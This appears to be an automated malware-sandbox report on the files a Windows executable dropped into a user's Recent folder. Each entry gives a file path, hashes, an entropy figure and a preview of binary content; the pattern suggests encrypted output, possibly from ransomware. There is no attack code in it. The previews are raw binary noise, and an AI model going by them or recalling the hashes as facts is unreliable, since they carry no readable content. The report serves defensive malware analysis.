SHA1:	CAD3CC9143AD14C1B0E1B4BA85085F185CFD164A
SHA-256:	6D9BE0C228A40749F7A15178A56DE69A76E9E99A5294BDFC354280AC83FA504C
SHA-512:	E9790BEEB37C3A35794484521FEED55F67DF652F60A31986D9807936FCC59192529A4123E1D0143F731C493BF89FF579748160940F1CC515A2BC5A862A16F500
Malicious:	false
Preview:	DUUDT.........~..M..`GU >.!.k.?.<....8..>X...3...Zy....r...K.E.21.B..n1.%y.A'o....K..3.56'a.Q"..V...#i.G....M..$.F.&.j.. .(...Bb..C......".!n)&M..0.vfa...../.o...pkS...[.."V. RR..G...R..$. b.).......iWd..P.=&{&.J8j.7#.N..0".Z.RU\|..$..P.7<.j....d@..5...pV.b.9M...9..<P..#N^..m..k.\|d..ku....7fE........v..fl....Y......._....F.....gm@ .L.:.\|...:..@\.f.."-.7zYm.........R...b.....nGg...D..P...aZ]_r&..0..}P.....b._.3......g....g3%.y....%........m4.....I..X..9..."....8.mN._\.+.H>.G5.Z.o.\|!...oa..2...R.-.0..b..D4Bms....l...P....b.........l/.a~tL...,.......j.,.+..w..X..0lo......5...{ob%.A3.1.../`...8.B..t.......]........... fF..9.....H..0r.....+...Pi."...z.fN....Oy..T.U...}H...\.LNO.a...e..:.c.....e..K.....K../,.....3.2/.r..h...i.C...)0.........Q.%...k3R#A.+.!.8.te%.....4vv.W.sg....$gE.&.=......w.&.......E.c.......H....\|b".....]..... .p...v.8d4..........Ve~sr.5:. .....w.j.n...\.yP.#0.q.:0.A.D"PxJ"&t\{.9~..?j..0].s.y.....O

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833021513241325
Encrypted:	false
SSDEEP:	24:Ru3/zYwA2CdlHq+MYuuadSYzqO+pwvHUCZdFDkN9knURFypRmXZkbD:QeXlHnlXaYet+SVZdtkDk/pRGAD
MD5:	301AE1F3C4002CFA8D6FE4FA5C662E18
SHA1:	08C64D47DE67DE46E94403FF825208F31FF765A8
SHA-256:	2043C3EAAE610E1EA9AA536BB61780493D8440AF033C6655255DA3A1862A1278
SHA-512:	6AE32D95C33702ECBA5F7E22DB2FB4AE2D6C132C7339F8CA5EAC9924C9D7E5382A9D3B0D95CD0A8BE97D3CBA6450E1F57D3578997F727B706209A111163984E2
Malicious:	false
Preview:	EEGWX.o(&...P...X.."\..}i.y~".j.}xN?K.5.o.N.`Y..8....g..9W.B.. ......i..!....L.HEDe.mi%i%..T....}m#.^.`......Y...}Pi.E\|r......#..'....I.......e.v..q.........k.. 5.S.-....Z.....`......}.@.vK..F<.u!.w....OY..A..z[.7.?.W....1...h.x..Z.Y.^..1"Y07.x.Z...Qb=..&E.s%...d=......p..'.Z...P^z...l...kP..H.G.A.LF.H...........:.....<.@iY.Ts.....@...y..g.A.Q......A...P...P....[...m..]..[.%.3Q...p...7.y.)...>.b.v..n..n..K...75...K1a..p.yQ.#~.G.P$.U.;...&....}..........._.0O,.y.Z..NA..Z.[l.....mU...I.C.x~.m.8.."..Id^o.A.O...........o.,...};".....AbB..VtHHuQ. ......P.........-%.. ...E.q....ptq.4.T2cp..Y..AB2..I..>...l.....m..>.AAM(,5^..~.......t?.F:....x.e...wgx.xA...a............B......m..8.'....3ZsN.....!.... +..i.....`.#.>s.lX-.L.~..+.<...m.....Uvz....U...y.3b.K.?..o..K.L..'nc,.c..r.u.....T.ya...g....~.D.68..w...p..$.oC.K...(.....!G....4.0.)...L..`X.!.P!/..[....q........?....-....R...Q%XIf..?~..?8>.....,..O.+Q.@`..8._E..a...].Ts.L...-}.{...v.x.8.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EEGWXUHVUG.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8509936453388836
Encrypted:	false
SSDEEP:	24:pjkBHw4PxMdS75ZOX5y6ZUjmeFQ3mqwYGjgA6/xhEJWQpufM8DUhLkbD:pjMw4Pxy6b0UKe+3/wYGkAIhEBgDUgD
MD5:	EF65F67692FA819B512DA348408443D6
SHA1:	595E8962476D8C1ADBA307DBE67C910C944EEC98
SHA-256:	C403BCE1554604C6DA9742C8C225B243B9C7CED069218BFD469F69F962A762E4
SHA-512:	3AC1CB6768B98A607364BAB79636AAEDCC230586BDBF4A1AC4B5E0CECD4E626D02B505C1DA95556EBBE873B89FDFAA6DEA0FAEC7349E8CE42F49D8BDF6A149F9
Malicious:	false
Preview:	EEGWX.E...Qtox.B.[V..C.n".I.....'.=.".....'.Y1C...-E...^......@...k........o.....X.j..y9<....^K.tJj..Ef.f..S.b.....'G..;...L.. ..P...\..R=....S..b.wh....JI...1.p...x.@p...$#G..'._5..$....v...6f..l.!7.h..AtK...w.7 3QZ7.?"\|..b]n.s.[..v.....}>..d......6.f..........I.)...,.._C..C.d.U.ML+....;?0...(.F..&...S...d.=.?....^eK...E?.I.-..._~..T.x7..r..l..L..=O,G4G.mp.T.!2?...=.....li..I.<K.I3...S...L;@...D.u.m..B.U.....$.0.<........@;/%...M.1......u.....?....l.`...,..K.J...X..f...Gc.....}...Oz.Vf.....wj.P......&e("=.....f..Xa.8.9...9.^...).N. h.......h.R./.q.c$..5M.)..`.^.Pj..q...kJ&(!.Z5.}\.nI.d#A..S.K........0....!/6...f.....q.@...N&Z.s.UW.4....C./..t...2=...OO.Rp.._...2D...Pj~.3y#.....o@.9d..d....'`....P...K+...A.=....g.JP.cD... ..M.?.IY.y.76.iH..'...F.v.... 26.L9...-.C.g..f#E7...\|{eh..3..8t^p..}?9...=g..j..}4..8k...#-...S..b.C.r.3..s...k@.X}&.c..2U............l.4S$B.%..:.._......S..N.\............QAC.R.+.f.+.~.....*..VG'.E.-.F.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EFOYFBOLXA.png

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837865219656547
Encrypted:	false
SSDEEP:	24:t/DL3mN2frZ/RgNuZfBhYUV8OlWd1fft5olmB9eQXi5wdldwLe0vTkbD:xDLWgfrZ/aNEfv6Hd1nt5oQDI5w9seRD
MD5:	E2F827AD84165FCF5EC5EAAFC1EAFAE3
SHA1:	15440F29666CA615115BACA9B83AA8153D4205AD
SHA-256:	E3E219CD4B084FD767C09B56957008E12051D566F03CF875DDA2B722FC89DDC4
SHA-512:	3F3891B1BBA9C156AC27587AB12E9517920D54E7E70002B09881C9D7BF96915FDAB8712393E83C395289AD355AC01C3A584FA601F549228AA7D36F0D171262FE
Malicious:	false
Preview:	EFOYF...0.w8..j^..7.7...<....Ut1...E......]..d.n...s.M}.^i.......Ld..@:"^.S.n.CV%R(^.X....M....7^..................S%..\|v=.............B\|.E$';Ar...S..en........g.3.h-...<.4.I9g..xPf..x..8.k.N.Z[.@....B.A1.P.....di.......k.^4....J}.Ob=.M..........S.(.nW1..9..n....91.p.!,.e....GR.x..&...^t../V.8.W....]i._..qc.-3....jQ.......-xV.....G.#.Q....%..@..k.Q.....vj...._.R?..$...s2....=.;j.rF.1P.x#.........6...C..xW...?\.BX.D..E....Z....@6}...z....i.V.t....{+.pl9UQi.N.B..Xs..(.].}.J..........A.r...".:....W...A....kR?...yWW.27.IR.....>j..X#...P...O.Y.O<.12..[...la.[.Qw...v\..i......f'v....E........p....>?&.....\|V+....S.WQ.#n..9w.\|.=6.._.:R....!4.Qr..[.> .....R;4...........FJ.X...P.waQF.....G.....{....K.....R..HPDfl..A.....rm.t.....i.....]n@.z..b..L\|_..G..=..Lp/y%...q.z.....AXwp..}ihqK.......N.1d...\|m!...g..J..QW.4.&..3.oCEJ.F....x4.-....u'Y..Xw.....B..Pd...K./..9..'...HR....\|.....F...'....5.u...#....J.)..>...].!.e1\L.Y.:.Mm.. 7(.<.._....k T.V.K.OL

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EIVQSAOTAQ.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8509432870315585
Encrypted:	false
SSDEEP:	24:RobNXQztW/IPHY+Up03llKO540k5NG2fkTIQ+6I/j5+tBiPO1mXI4jkbD:SmcuMIllKOy0krsTJ+z/12CO19ND
MD5:	BC350FF42582A36C59C9F3F1F2FD4693
SHA1:	F2C8B34BA7841F9C39911551B5048FAC4CF6471F
SHA-256:	3091FF2A399ECC2BBD362A9550339021F2E99BC6954560F9B1BB3B9C43DC3593
SHA-512:	AF65CBCBCD665E4F2052473F80C5B8DB2858B812D2411314C45A14C6511A36BCAA7D03F5EA9017003CDFFE8CE9F2E76ACED197080C51816D82AF556B360E8D86
Malicious:	false
Preview:	EIVQS.s........\J.Ry....:.]3r. .o.B.(....xAz...";...^o`+....D.(.$...ZBd..A....A2UR.......d......G..M9.`.}q.k...c.....UE...@4d....3/."....,...0.5VF.F.a._....`.$....T.^..._?.K#...2..j...X..B{U..L.a.q4.Ka+.m......_...;B..$.W.....m.K..b#..24}w.D..BB.&tv.t...`'p.fV@..AH..o8;oR...k{...QMc,...4...N.z..Q...e....1.q.....z...FimD.^..7.M.V....C..G.E..R....X59.N..w.....[?:..8.{..8...h..L{.H)..O.....@.......\'..u.......q.Fr.yg..\.K.;.T.Q.(..s...ot..7!..Z...lfz.n..FGA..c7.S[d.......u..Cq..Y.B........r.....y..X...jJx..m....%jp..I5..q.^ mvD...A.&...wLr...s..N...A..n.....AK_..0i..............J.....y......y.f.e..@.~.............l.m\......J..1....t.......U.`.,?..C.0.PX.0......;$..........Db.+....v......Mi.N7)uB......g.hn.= .[...M+.z...t.=..~.~Y^...2sv...V.OL*.e.....>...0~5..4...m.....Q.O:P.......}.)..~+ZU..&...O .a....c.....+..IE...<....x.fI...1.../....H..lL..{..a~..V.E..E;>.....I..v.8D.. (..8...h..................W&H.<t..f{^.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EIVQSAOTAQ.mp3

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836657951195931
Encrypted:	false
SSDEEP:	24:RhL3G3a0BegH8AjYl0TwLCM4Xp9sAeH2K+tA+IcVIhVY8PYZIBVkU1so5kbD:XL3Ue7ie5wjqHyA+IcCy8PIIBSU1LgD
MD5:	BE8442E69F75F7FC77E2BC00C0E35FCF
SHA1:	F32CD294D417775A872C2020A42EAB27576E2EF5
SHA-256:	20D3743D75C5DD31918D820DE4968C753DDE926193E7C064E74284DF464625D2
SHA-512:	1CD392278680D33E192837789BC24A22D261BC1035EC9D47E1468A1388A41EEDAD4564A051BC7A9AB891B6182E23E194D9CDEFB7933968DAC433A43E1EBD4542
Malicious:	false
Preview:	EIVQS.S....T.d...hA.?-......+.e{v.F."@.....D.S....i..I9U...g.$`Z...}.B......8..C......F...7..G7..qc...c.+... .H.`f.3.Kj.Z.&..oeD..a.[....gN.....y......(....l.=...O:.C&}..c.g</../`...46...........2....(\|.....N.x.e.t..........q..G0.6..1.J..cL}...i....'.Rx....4>.R.i...XS..Bf:.......c...h......9..]..?.(.;.?I...x...s...VE....'.W..=s2..A.D:.+..'A...._.?.J....G.#.o......FK....bs.e.jU..}^.a.v.tK.....T71.....g.(...$.:g4.,cx.....'..!.%..`.e7...g.ki&..gc..]..\|F.7.........g.L..fK.,....M......${...8...L..T$.t..6.I?2.lZM..$...[..........\|...(.Di.....M...K.........H.DT].{Ht.K...O<.."AV.....j.n.u!.$...T..t.=b..n......G.vZ...N."...r..P...N .N..Lx..A.3..}nI..W.4Sk7.......53q..C.M/....!l.7....;.S......C.I.....K.%......O...S?.@.(.u._5...c.Q....FVg..H..Z..._..c.pZ.......@.c......sK}.h.%9...?..!.1._f..U8...Jk..~.nEi......w..o>F?T.U7.YB......p.......8WN~t.......R.w.C. .N..5m...6.......(.t.....!_.Z8._..C.7...G..a...r4.$(......5...Y.=.Z=..j.+1.H.%...^1..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EIVQSAOTAQ.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8677406008420805
Encrypted:	false
SSDEEP:	24:RsN7I8Te0rnvevhD8YO4d+pjpdw8IzD/wP8OGzmuGRkbD:KTe0rnGvBoF9qAP8OUD
MD5:	3F4540DFF574EC2139D41CE4B213CBF1
SHA1:	F45FE72741FC424A08D0C77AA411E3B3743A67C9
SHA-256:	FBABF891440CD5902C98B7A16B2A6FD51B86BAC62E2B6CD2AF9DFAE9E8018BEE
SHA-512:	B05EE56D73ABB5DCF9ABBE78CD89D64CE98114BAE3855F37624EB2AC9E19750D8425D5F6222C5BC6D7760A86EC278015579BFE12ECBFF79463748FCE95CFD7A0
Malicious:	false
Preview:	EIVQS.y<(........`..;hJ..:...C..)..i.......3z.dCi..r.SVqc_T...^.&b.m.:\J`.........2jXX..5...,.....p...f........;\{VX.@.`2..3..&?eC...v(..X.Y..Z...2."0K...`..Bb..._96.xh>....+N.Ru........)....a ~.....c.....4..-..J...L:7.Wf.#..G.$.Q4..hD..h.H..kc5.z(.i.,_?,..(9'....{..c..I7 L.4.B...e.n..~;. c.'.cn....q.....vg....p..(......r.&mt.N.\.....t!..c>.g......Hng..;.j5(.8.....c%..J..2L.u..#B.(..).\|8.[..7.z....R...`A.....H.x._.As.(.Q..'..\.../............g. ......o....T..It.$....)....,....G.....A\|<.P....i....iV.Q......z...F..<<...g......6J.@...l.pS...GIS.{...z....=a.CP.._.?[_y.3.......9.(........7~.o{...s.v2.7.R...\F...w'D@..;.E7.......q0^B\|Y!.{.R.......g.0L.^./0...{..k?l.....Y......".9..{...7....B.0.....p.WHlLQ....#.^.$w3..*.Z..Jd .h.8.....?r.Xl....w...>...Z.oO....XeP..n]...7....B....5G3......6..U..R2...Pi..s.+...&6...@2Uz...9.......o..........J..o..9u+....5.j....5S....c.,8.h:^......42..U..H...kS.O.#..S3.Q6...V+.u.G........d.rC.......L

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EOWRVPQCCS.png

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857151265163134
Encrypted:	false
SSDEEP:	24:YnVwVHqhMsNFWPui9jMSXqU0qVggOPO2bqsMcvOOUIttKh/FcCcoM9UEoJ3IkbD:YeVCMlmiCOhVUO2bKODzzpWEotFD
MD5:	29FA7AF1FAA589118D9B34E6854B1CCF
SHA1:	286336C1A6F1AEE5E9FA7319BA956E0C17AC13CD
SHA-256:	34D879223B33B278C038752A54F87522CCF2C8289DA959DC4D9FD76CE79042AB
SHA-512:	D079BADF34D33E0C31445A46DA3DA64E8AA5F209BA3C287CF440DEF3EF735D38662DAAA4AC1068FD7296C1B53B2495C0B6EA4EE9DD1657777ECE19BABB2D1B4D
Malicious:	false
Preview:	EOWRV.J2..1..h.J.{.. @..".S.%i..O6%........y.c......./....'.X3O_..#..+.\.U@a..A....qk.a.TnV(0T...<.~,.j..R.O.=....Wf.F..+...5..G...b.G..+.....v.qgIw.yS....`.p..f6%nX.....t. ..%z\|......!..a2...G3....,...t......K.K.(..?QO....#..u...aE...;...]......v.iN.....L......r...L.........6..x._.y=u0..x...Iy+..y....T.....q...).L.q..yh.}..l.)...G..+.........M.3Hi..=p.p$/$..G..0n......#R.R........Y..K...3...B...md.......3..1..wi.>a..N.!..G.H..p.&...L......PJkn.&............-..\|j-G+..u.c..N..oF<.Ci.Qj.3..P..M...t..E.P..M._N.U.ya...kg[/.0..... ...[..<.=$...;..^.l...w.3..0....W.....{.t<.Y9.hn.....V1...$Y.?...v..J.............3.5.o.\...g..a...5c3i......:.....@.y...0.[....AqQW..rq..g.%..#i..8-.[r4.6$:.Z....(..A.C..l......d;..7.C.(....HC...7f..h.A.O!.1&.%9)..nz..".8...U.....C..k...-{.&......w9.(.s..> M^..u...C%.....a.$4...WkG..jsK......RI.. .4=!.......T.....X...Pj..tQS2..[...WB~s4.).P.3...U.6(..W.&.h..Y....*...\.V8.sq.d.B.UK............4+\...L.yD(df\-..$\|.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ERWQDBYZVW.mp3

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8410653649007065
Encrypted:	false
SSDEEP:	24:r35gY5xNrhywXpJ9oDcI6ld7xnqEKPYVy+K2JbgQXQEINsWfQe/K3fkSkbD:r35z57hXHoDr6ld7tqEKvf2NXGsWfQUz
MD5:	C430EBC8A4B475A0C496A91EEE66DF88
SHA1:	15C990B5445CCC077DB59DF86F2F7C762502BD70
SHA-256:	6673288FC51EFD241019A9CCB133FB8577C326DC3B12FA265C72C0F8A6C30CC9
SHA-512:	C1C1677761CCA1FB31051965E16E94B25821DE0F2EBC993FA778C0D50510EFB2B715DCF57A49EBDD37A34904BC74721ED5E611B735AE67CEA6D91F7D73481AA6
Malicious:	false
Preview:	ERWQDH.............#.6/4..=..gO...g....v.Cx..&....c1W...hs.>3".C..y.....#...^n.Wid..'I...i.=.....dE..e...wW.."b..HH..hi..0...r.l.\|..V.._..7......x...+..W....2X0r.Kf..P..R...W.;8..of.3.......%oP.H..v....,<i...b?V..}b.F....Fn.,u....$.d\..k.....Kp.D?S7.S...W..<4....3\^.......w..g..l..n...A~..pY.....(.p....#.......dno...P.....bGBl.9.H..i..3.V.../......Au.P#...Uzc.1../V..{.....%.c.3..-..U.....I+ab..+7n..Hs.9Q=4l].......m....-"4A."!.>..X.....:....G.._i....2&.J....0...6o^L....fw]...z6....8.ku...&++......b.%H...t._.X..x..H...$.<.)x.n.q.....&..=.i0.f.P..fA.....S5. Q....5..s....<..L.N..rbg^..^.&..\C.m/9P.XU.Cu..0.....J..g.I...I.aBPD.'....~......]W...1{..T.X.....n....k.k.....S..:.48..e.....!l.hF....~<........j.....3..D.....nt..G...p%$-.\|.3....Z<'.p.X...C)..d.)$..Aez.T7S.4.g.K...?.4;.!.+.......K.W....5Nw.1.{/..rY...$..\.....J.....kF..V<.#.....N.v].....9.%....`q.4...T...g..Z.n..hJu.f.."Dr....8U..t..(.a.yqJ.{'....nx..&.....9&.......5]r.'.g.p.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ERWQDBYZVW.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830096680728131
Encrypted:	false
SSDEEP:	24:NAlsJHOKhu/JdzBbniSetlSmmpIUc5GNuV7vXIGXM26vL+iHxg7kbD:NxJH7hGHNnJpNc55V7vRMjvL+iH6KD
MD5:	3DC7A4BA4803828CDD00364707F1F553
SHA1:	2A1BBEEAB2FB605422733AB0985AAC30AE390864
SHA-256:	5450C938C3F661E3EBE9225AF429B6E3BFDAECB0BD36D521E97AAB58CDC425D8
SHA-512:	3A7DFFE4601A0054C066D4A88B91B54B9E8C0BDED40274E06DED3B5E526A5C72D328396E1F44F2445CA0D2DFE3CB051E9D9F27A88789A3DCBE4ABB2E235EFC01
Malicious:	false
Preview:	ERWQD+2Y..e.....[....u.c....K....w..1.O#.VC......K....3.."70....ecCX.l.....>) Im.VD./a..6...'.T....t.u+.U......I.........t.HPxB.yK....N}..j.}...71H.$A..YU..a..e.k....I......`....u.+..-.D.w4X'..fhZd.ve...F6.]..]..F.........@........O.5.[....Y-.5.....4.=.......=........L.fyj.TR..............8....Q/?.8..w....C.W]6lx..{.3`.Q.........l..1.O......`S$zI\&..N.....Oy#.s..3..P.n....0.JH..?..x).s..O\|......\.}[...y0\.".C..V...A.z.Y.e...D..n..-.b.:.2#.^...!.."g.FWVFOG()....c......6...$.2.2....M....;..u.8.l7....E."..w`...8..(GA]...b5.2....`..mI....Bl%....=...F.Z37.Y%......zdI.r..{u.9..K.\..N..'\B....W...`.....>...1+.^.~..........o..+v....d......b.V....Q..R-....B..3..1u.-......9...LM...l5qD.....@..qL....L..u..L<../. ...K..Y.n[...Y.../.l:.S1f..y.5..i....L.T..n.R[t.+d......".H3..l..+..\.'>.....b.d.%;....Q.DK..t....P..!.lv_').5..q.....v....u@.$3!1..Fl.....3...]U...x....W#.FB...4.r".......WI..Z..%Um..........]HN?....}!.u!q..F@*n......3....p...N......y...I

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ERWQDBYZVW.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849465083217641
Encrypted:	false
SSDEEP:	24:Dn7X3Uv65KsZAe2gUpmVd3fTnou0qbNSDv6JW/oRQlvXTpA5kbD:D7HUynAel/d10qbNSDyJWvzD
MD5:	9E038DF661AFDC4186B3AC6FD454C111
SHA1:	66DBDCF55CB4B79005207EA09094665BD871BC04
SHA-256:	1F98033BDBBF20D1E758EF296C967CB12D8F7CCF45486A7AC60CC0D74BDC6566
SHA-512:	2C966E00CF88115B65CEB8370E91B68F8BDDB8A5B010A5D897153390A574386194556CAE2A4D228D732FEC99CD30874AD8081C850DB3B6C839B452B9E6EAD738
Malicious:	false
Preview:	ERWQD..(m....\$.>..e..u./Q.\|p...}$p@.3E.\|.....7......Bi.........(.S<.....5-q).9Q...A+.D...c...or.{..VP.5zN.it.-.V...Ow.j.....1..(C.....Y..G...L.l....-...!<.a..O/...t....J..\]:..n.btsd.k.g8...Kq.&I#..f....-...M...............V...O.(.._.."...#.5...........qN..@..(6.v.o..J&'.cw.$F...DA....T..a.....E..P..Y .q..az.7....qt.u...N.s..S..2~.f.C.f..uk5..y.[........fh.u...m.b..:r4...c........N.?...`9yT......".........>....^O..V...6.&.,B...P-.0..H.'.L..tkT. !(......J.I.g.)..V..1..0G.wq~.._.d.+]...Q...c.t.....7j....b.......q...R-..H...i....m........6.}b..tt.....@!m..<...<.....6q?..G.#..'.w....g4....J..7...?.."...........S..z5k........u....i..x...r.)..c.6m.k..~H.;D.!...h.7.4.R.P_QW.E.,..K...(..!4>.'.:h%.s.iz.....U..{................-...cb..z..>..pF........{.{g...7v...w.N...........\.'.1...4.6.....R.00.Z@.....W.r..No..j...n....9y....^..[.6......*...{s.^.p_..~3..Y...Te...x.2...f^..'..%k..UFKn......[......D.wZ.@i35...s.s....\|!...H1..cxC`R.x.z....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\FAAGWHBVUU.png

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833076179493345
Encrypted:	false
SSDEEP:	24:XwOrNholccCDVgKFeKpsX3t89Nk3hRRgwZIlRIhCgk9dNq4kbD:jH2gnsntoNcu6RNAq1D
MD5:	3711E7D926E81CB908BE0EA59A0C6EF2
SHA1:	24B921BB70A290675BEDAF3E36FFC405D07A673D
SHA-256:	BC75F8F2D4F2875B26330C8125C86487C65F7BD001FA3FFEE89E01F8D6327A3D
SHA-512:	54120C5061BDA5D369E77AD435AC0265580ED85836C58EAEE314021F31A85B79A44412D65D0FE42853F06A0C2E0BAB20A9AA11C51CF947511BE79D97B0F34813
Malicious:	false
Preview:	FAAGWf.0.XK..WWP}....g.K.Xw...L3...........-\|aN....z!C.........NtD(-j...-\G..?..RFcX....._....<B.w.../...lj....!......n<o3..l-Wy&.\..F.Dw.U..F..vp...<..Z...).+...X.xQ.L."fY3(G...S7..8.E.EAV.y.x......S...N..I.x.\|....:...N.^.<&...G.n.......H&..Q.J.1.J.._.....'....)/.....r..&......4....u.G."D.<.`.......O...p..&.{.....T..F....4J.8[..AP.-lkt...6kE..Bl~bH!8.f#.t.d.(K.....>.)m..3l.......!..!Q.....S..+...2..@.r1./6..W..3m.,:......yT.0....<I.".b.".n\....w4..3.L.k.2..!'..!.p.QUjx.%......4{.i.a........_..M...\O.B.t..S$Va....49Bo.9.....O-..f,S..s..b>.T5.Q..=2.L@o...P..k..e../d..v..)MB..._e...~H.........$qs....a...Gl='\(O.@....6.t.T..z......C...@..GLI.,.......sul.Uq..pIp.I}.At.C...,...Fc`..`......Hf..aK...".P..........F"...{.)v....~i.G...;.......uE....."j...a.jq..C.......\. ..f..X6.. .ZU..k...J..K.#.=.E..r.6g......C.....L6K ..7.6+y....\\..xP)..M....VH.E....=H.+E.(.>....gtP~.......&.....b3}..U......p.q...d.v..d..!.0.i.<...>b............>.t.>n

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.mp3

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837672101278091
Encrypted:	false
SSDEEP:	24:aDEZwGhj40z3tMl5rvYbDYFYrsGxxag9uFiZpZvDJ/GotwxIFOuaNc1TBDkbD:tZwG1+l5j2rmgfvF/GoyxyOlc1VSD
MD5:	FF266026E53BE40268E4AB5F2DBF9D27
SHA1:	A425A3262F555F7C72BB18157E50AEAC140F29D2
SHA-256:	3D0B30E8A47B9A9F8E895BD7CCF87E4959F6F842721E1FAB740CE3BE9B4CC152
SHA-512:	D232AFDCBC478D385A7C3E72FE072F3795DA0ED937242AEC3B5CEC9FF03ACF0B422361B0E77CC6B5881AC9062BC5898145E6DD3DB38631F44C2FD26009532773
Malicious:	false
Preview:	GRXZD........d..-...j....L.].p.v.....!sO.d......u..T.ts.M.9.f)`c.}.3.n4...i....D.9..L..v..A..i..i......[0.\%......".....y.5..$.....\....Ty.;....\|.._..~$~..pt..n,......a.l.6.Z...8..n..(.e.a.p.d.......K..M.....V8.Hib@...8.m?.n;O...j../..$...8..:.C..A..R..A...\a....2........qf2Y....\|!.\|...F.T..Pu<...<3......0`]`........\|..C[1...(.ZP.@n..I...w......0...I..K.j..m....v#3...M.../.?p%..\Z7..=.h.>...c.".F...LF....^w...(..........z.1Nf_Bi...6...=.`(.....S}....?..L.lT..'...n...8.$Z..,.a..7.}p....k........9......;....CCI....Yc)_....=On...t.um..Q.../i.V5"...~-.{..y$.9.${....$..".F..).%.....G...-.....%h...IQ...u?.3....6Sy...d.9-........wH......ji...2.F.$;...K...$..P...8.9.}.sg.rZ..7..]}S"..G....8..?....,.s....e/8..{. ........K.Q#.\|..7+..5v....;:.Gv+..s1k...6..O.....s....p.}(..F..Y...I9.'..u.L.5{.."q............Y.7.XI..D3...)<.'..f......]..gy...C.....T.7H..1..u...p..6.7.w..........l[6..G*...'..tY...f..ZWh.Q......V..Z..(...(./....$1.Ua..h..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856208066597534
Encrypted:	false
SSDEEP:	24:zKFbfGoEh7YXCGubY4BXbZ8ENHjt2umPxDB9mprV6KeRwkbD:zKJfHESSGubbBLZ9Vt2lB9msRzD
MD5:	34419CB712740924EA56B5E79A7B2333
SHA1:	8F48C88350C2E61BAB07EC182296289C54E97916
SHA-256:	9FC13832B924148FB5E721BC45C4EBD908C6AF2612A5D9D53AA71E4798D6B470
SHA-512:	5E52DD7120AF6ACEFF9E6DD47C9E615F2DD6A218F880C1151B8A52A3A58F1B75B2993998569BA778B17E5FB98A7D61F17BB63B4EC76C46D359CB7D1AA63238A6
Malicious:	false
Preview:	GRXZD1.".r.G....l.....l8q..N.M..?..nk..@.X...x..a.f.3...:9..z.j].B...a6.2.!...zf.S..>;...;TD..........L/-..6..K....A(`3y..b2<.$.m.F%#'oG....9..BH../...9GKxL\.3...\|..K.I..q...H.h..>...(..$r..{S..9.K_.?7.l..J.a~`B...^O..mX.z,..J]:...........o......m.....2.............]........&.W`...rHS#...2.s.Q...x\..{H.h.K...$(c6..(...5?<.#.[Oz.t.;..K.....gx.%..e.I.C.z.b.p{q...R....E...d..yR.!W.2.R\..;6$..kv....=..p.G.`..X..\.\|N....`?U.....k.UbJW..j.......d.....C...V.G.K.s.F../.y.>e*[....U.05.t.O,C......../..N.f....<I'..^\.. .0..2.e...#W.j,t...j.uUY...J.8.`.B...TR6...,.6.....o.\1h+...C.N.......3....U....s.`.. 